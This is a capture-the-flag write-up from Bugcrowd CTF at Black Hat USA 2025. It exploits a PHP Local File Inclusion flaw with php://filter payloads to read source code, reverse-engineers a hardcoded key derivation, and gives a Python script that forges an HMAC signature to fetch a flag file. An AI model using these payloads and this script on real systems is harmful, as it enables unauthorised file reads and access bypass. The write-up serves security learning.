Exploiting an LFI Vulnerability and Forging a Signature in BugcrowdCTF

Introduction
During Bugcrowd CTF at Black Hat USA 2025, I tackled a web challenge involving SecureFile Solutions, a document management system with a hidden Local File Inclusion (LFI) vulnerability in its index.php
. This journey involved exploiting the LFI to access source code, reverse-engineering a signature validation process, and crafting a Python script to forge a signature.
Step 1: Discovering the LFI Vulnerability
The challenge began with a web application at http://web.challenges.bhusa.bugcrowdctf.com:9300/
. The main entry point index.php
, used a page
parameter to load content dynamically. Examining the source code (revealed through the LFI), I found this critical section:
$page = $_GET['page'] ?? 'home';
$safe_page = sanitize_page($page);
if (file_exists("pages/{$safe_page}.php")) {
include "pages/{$safe_page}.php";
} else {
$file_content = @file_get_contents($safe_page);
if ($file_content !== false) {
echo '<div class="content-card"><pre>' . $file_content . '</pre></div>';
} else {
include 'pages/404.php';
}
}
The sanitize_page
function aimed to prevent directory traversal by blocking inputs like ../
or /var
:
function sanitize_page($page) {
if (strpos($page, '../') !== false || strpos($page, '..\\') !== false || strpos($page, '/var') === 0) {
return 'home';
}
return $page;
}
However, it didn’t block the php://filter
wrapper, a classic LFI vector. By sending a request like:
GET /?page=php://filter/convert.base64-encode/resource=core/file_handler.php
I retrieved the base64-encoded contents of core/file_handler.php
. Repeating this for lib/security.php
, lib/crypto_utils.php
, and lib/hash_engine.php
revealed the app’s internal logic, including file handling and cryptographic operations. Decoding the base64 output gave me the source code, setting the stage for the next step.
This LFI was the key to understanding the system. Without it, accessing the flag would’ve been nearly impossible, as the flag’s location (/var/flag/flag.txt
) and the required signature was hidden in the code.
Step 2: Analysing the FileHandler and Signature Logic
The flag was at /var/flag/flag.txt
, and the download
page in index.php
handled file requests:
case 'download':
require_once 'core/file_handler.php';
FileHandler::processDownload();
break;
The FileHandler
class (from core/file_handler.php
) allowed downloads from specific paths, including /var/flag/
:
private static $allowed_paths = [
'/var/flag/',
'/var/uploads/',
'/var/documents/',
'./files/'
];
public static function processDownload() {
$filename = $_GET['file'] ?? null;
$signature = $_GET['sig'] ?? null;
if (!$filename) {
self::renderError('No file specified');
return;
}
if (!self::validateSignature($filename, $signature)) {
self::renderError('Invalid signature');
return;
}
$filepath = self::locateFile($filename);
if (!$filepath) {
self::renderError('File not found');
return;
}
self::serveFile($filepath, $filename);
}
The validateSignature
method checked the signature using:
private static function validateSignature($filename, $provided_signature) {
$signing_key = self::deriveSigningKey();
$expected_signature = create_hmac_signature($filename, $signing_key);
return hash_equals($expected_signature, $provided_signature);
}
The create_hmac_signature
function used HMAC-SHA1:
function create_hmac_signature($data, $key) {
return hash_hmac('sha1', $data, $key);
}
The signing key came from SecurityManager::deriveSigningKey()
, which called SecurityManager::initializeKeyDerivation()
.
Step 3: Reverse-Engineering the Key Derivation
The SecurityManager
class (from lib/security.php
) held the master secret:
private static $master_secret = "sf_enterprise_2024_secure_base_key_v2.1";
This secret was processed by CryptoUtils::performStringTransformations
(from lib/crypto_utils.php
):
public static function performStringTransformations($input_secret) {
$step1 = self::reverseString($input_secret);
$step2 = self::xorWithConstant($step1, 0x42);
$step3 = self::truncateString($step2, 16);
return HashEngine::processKeyMaterial($step3);
}
The steps were:
Reverse: Reverse the string.
XOR: XOR each character with
0x42
.Truncate: Take the first 16 characters.
Hash: Pass to
HashEngine::processKeyMaterial
.
The HashEngine
class (from lib/hash_engine.php
) applied an MD5 hash and truncated to 8 characters:
private static $hash_config = [
'primary_algo' => 'md5',
'output_length' => 8
];
public static function processKeyMaterial($transformed_input) {
$hashed = self::performPrimaryHash($transformed_input);
$final_key = self::truncateOutput($hashed);
return $final_key;
}
private static function performPrimaryHash($input) {
return hash(self::$hash_config['primary_algo'], $input);
}
So, the signing key was derived by:
Reversing
sf_enterprise_2024_secure_base_key_v2.1
.XORing with
0x42
.Truncating to 16 characters.
MD5 hashing and taking the first 8 characters.
This key was then used to generate an HMAC-SHA1 signature for the filename.
Step 4: Forging the Signature with Python (~3 min read)
To retrieve the flag, I needed to forge the HMAC-SHA1 signature for flag.txt
. I wrote a Python script that replicated the key derivation and generated the signature, then sent a request to the CTF server:
import hashlib
import hmac
import requests
import re
def reverse_string(s): return s[::-1]
def xor_with_constant(s, constant): return ''.join(chr(ord(c) ^ constant) for c in s)
def truncate_string(s, length): return s[:length]
def perform_string_transformations(secret):
step1 = reverse_string(secret)
step2 = xor_with_constant(step1, 0x42)
step3 = truncate_string(step2, 16)
return step3
def process_key_material(transformed_input):
hashed = hashlib.md5(transformed_input.encode()).hexdigest()
return hashed[:8]
def create_hmac_signature(data, key):
return hmac.new(key.encode(), data.encode(), hashlib.sha1).hexdigest()
def main(filename=None):
secret = "sf_enterprise_2024_secure_base_key_v2.1"
transformed = perform_string_transformations(secret)
key_material = process_key_material(transformed)
signature = create_hmac_signature(filename, key_material)
return signature
if __name__ == "__main__":
flag_file = "/var/flag/flag.txt"
signature = main(flag_file)
print(f"Generated HMAC Signature: {signature}")
response = requests.get(f"http://web.challenges.bhusa.bugcrowdctf.com:9300/?page=download&file={flag_file}&sig={signature}")
if response.status_code == 200:
flag_content = response.text
flag_match = re.search(r'FLAG{.*?}', flag_content)
if flag_match:
print(f"Flag found: {flag_match.group(0)}")
else:
print("No flag found in the response.")
else:
print(f"Failed to retrieve flag. Status Code: {response.status_code}")
How the Script Works
Key Derivation: The
perform_string_transformations
andprocess_key_material
functions replicate the PHP logic (reverse, XOR with0x42
, truncate to 16, MD5, truncate to 8).Signature Generation:
create_hmac_signature
uses Python’shmac
module to generate an HMAC-SHA1 signature forflag.txt
using the derived key.Request: The script sends a GET request to the CTF server with
page=download
,file=/var/flag/flag.txt
, and the forgedsig
.Flag Extraction: A regex (
FLAG{.*?}
) extracts the flag from the response.
Running the script output the signature and sent the request. A 200 status code indicated success, and the regex extracted the flag from the response.
Conclusion
Solving this challenge was an exhilarating ride through LFI exploitation and signature forging. From uncovering the php://filter
vulnerability to crafting a Python script to retrieve the flag, every step was a puzzle piece in.
Later, I found out through X that, this particular CTF challenge was leaking solution and challenge details through README.md and solve.py and were accessible directly. Also, I later discovered that there was no need to do all these signature operations, as we could directly get the flag through http://web.challenges.bhusa.bugcrowdctf.com:9300/?page=php://filter/convert.base64-encode/resource=/var/flag/flag.txt
.
Subscribe to my newsletter
Read articles from Pradip Bhattarai directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by
